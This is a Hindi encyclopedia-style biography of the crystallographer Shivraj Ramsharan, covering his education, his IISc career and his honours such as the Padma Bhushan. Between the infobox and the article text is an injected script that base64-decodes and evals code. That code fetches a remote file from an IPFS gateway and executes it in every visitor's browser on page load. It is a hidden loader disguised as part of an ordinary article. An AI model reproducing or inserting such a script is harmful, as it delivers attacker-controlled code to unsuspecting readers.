शिवराज रामशरण
शिवराज रामशरण
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पूरा नाम | शिवराज रामशरण |
जन्म | 10 अक्टूबर, 1923 |
जन्म भूमि | मद्रास |
मृत्यु | 29 दिसंबर, 2003 |
मृत्यु स्थान | बेंगलुरु |
कर्म भूमि | भारत |
पुरस्कार-उपाधि | 'पद्मभूषण' (1985) |
प्रसिद्धि | वैज्ञानिक |
नागरिकता | भारतीय |
अन्य जानकारी | शिवराज रामशरण को किस्टलोग्राफी के क्षेत्र में उनके काम के लिए जाना जाता था। 'भारतीय प्रौद्योगिकी संस्थान में प्रोफेसर के रूप में भी काम किया। |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>शिवराज रामशरण (अंग्रेज़ी: Shivraj Ramsharan, जन्म- 10 अक्टूबर, 1923, मद्रास; मृत्यु- 29 दिसंबर, 2003, बेंगलुरु) भारतीय वैज्ञानिक थे जिन्हें किस्टलोग्राफी के क्षेत्र में उनके काम के लिए जाना जाता था। उन्होंने 1954 से 1955 तक ब्रूकलिन न्यूयॉर्क के पॉलिटेक्निक संस्थान में काम किया। वह 1984 से 2003 तक रिसर्च इंस्टीट्यूट में मानद प्रतिष्ठित प्रोफेसर रहे। सन 1985में उन्हें भारत सरकार द्वारा 'पद्मभूषण' से सम्मानित किया गया था।
परिचय
शिवराज रामशरण का जन्म 10 अक्टूबर, 1923 को भारत के मद्रास शहर में हुआ था। उनका विवाह कौसल्या से हुआ। कौसल्या बी. एस. श्रीनिवास शास्त्री जो कि एक भारतीय राजनीतिज्ञ थे, उनकी पोती थीं। उन्होंने अपनी प्रारंभिक शिक्षा नागपुर से प्राप्त की थी। शिवराज रामशरण ने सन 1943 में नागपूर विश्वाविघ्यालय से बीएसी ऑनर्स कि डिग्री प्राप्त की। सन 1945 में एमएससी कि उपाधि प्राप्त की। 1948 में आईआईएससी में एसोसिएटशिप और 1949 में नागपूर विश्वविद्यालय में डीएससी कि उपाधि प्राप्त की थी। उन्होंने सी. वी. रमन के तहत अपनी पीएचडी पूर्ण की।
कार्य
डॉक्टरेट पूरा करने के बाद शिवराज रामशरण ने एक व्याख्याता के रूप में 'भारतीय विज्ञान संस्थान 'में काम किया। उस समय उन्होंने एक्स-रे में रुचि विकसित की और राष्ट्रीय एयरोस्पेस प्रयोगशालाओं में सामग्री विज्ञान विभाग प्रभाग को बेहतर बनाने में महत्वपूर्ण भूमिका निभाई। शिवराज रामशरण ने 'भारतीय प्रौद्योगिकी संस्थान में प्रोफेसर के रूप में भी काम किया।
शिवराज रामशरण ने अपने कॅरियर कि शुरुआत में 1945 में आईआईएससी में रिसर्च असिसटेंट के रूप में काम किया। फिर 1981 से 1984 के दौरान आईआईएससी के निदेशक बने थे। 1949-1953 तक आईआईएससी में लेक्चरर रहे। 1953 से 1962 तक वह असिस्टेंट प्राफेसर के रूप में कार्यरत रहे थे। सन 1981 से 1984 के दौरान वह डायरेक्टर रहे। शिवराज रामशरण ने 1954 से 1955 तक ब्रूकलिन न्यूयॉर्क के पॉलिटेक्निक संस्थान में काम किया। वह 1984 से 2003 तक रिसर्च इंस्टीट्यूट में मानद प्रतिष्ठित प्रोफेसर एमेरिटस रहे।
पुरस्कार और सम्मान
- प्रो. शिवराज रामशरण को सन 1966 में भारत सरकार ने शांति स्वरूप भटनागर पुरस्कार से सम्मानित किया था।
- सन 1980 में उनको वासविक पुरस्कार प्राप्त हुआ।
- सन 1985 में उन्हें आर्यभट्ट पदक प्राप्त हुआ।
- सन 1985में उन्हें भारत सरकार द्वारा 'पद्मभूषण' से सम्मानित किया गया।
- सन 1955 में वह भारतीय विज्ञान अकादमी के फेलो रहे।
- सन 1972 में उन्हें इंडियन नेशनल साइंस अकादमी का फेलो चुना गया।
मृत्यु
प्रोफ़ेसर शिवराज रामशरण का निधन 29 दिसंबर, 2003 को बेंगलुरु में हुआ।
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टीका टिप्पणी और संदर्भ
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